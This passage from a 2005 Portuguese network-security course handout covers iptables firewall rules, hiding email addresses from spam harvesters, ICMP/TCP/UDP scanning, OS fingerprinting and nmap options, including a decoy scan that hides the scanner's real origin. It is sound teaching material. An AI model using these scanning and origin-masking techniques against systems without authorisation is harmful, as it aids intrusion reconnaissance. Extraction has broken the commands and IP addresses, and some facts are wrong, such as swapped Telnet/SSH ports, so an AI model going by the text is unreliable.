FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet 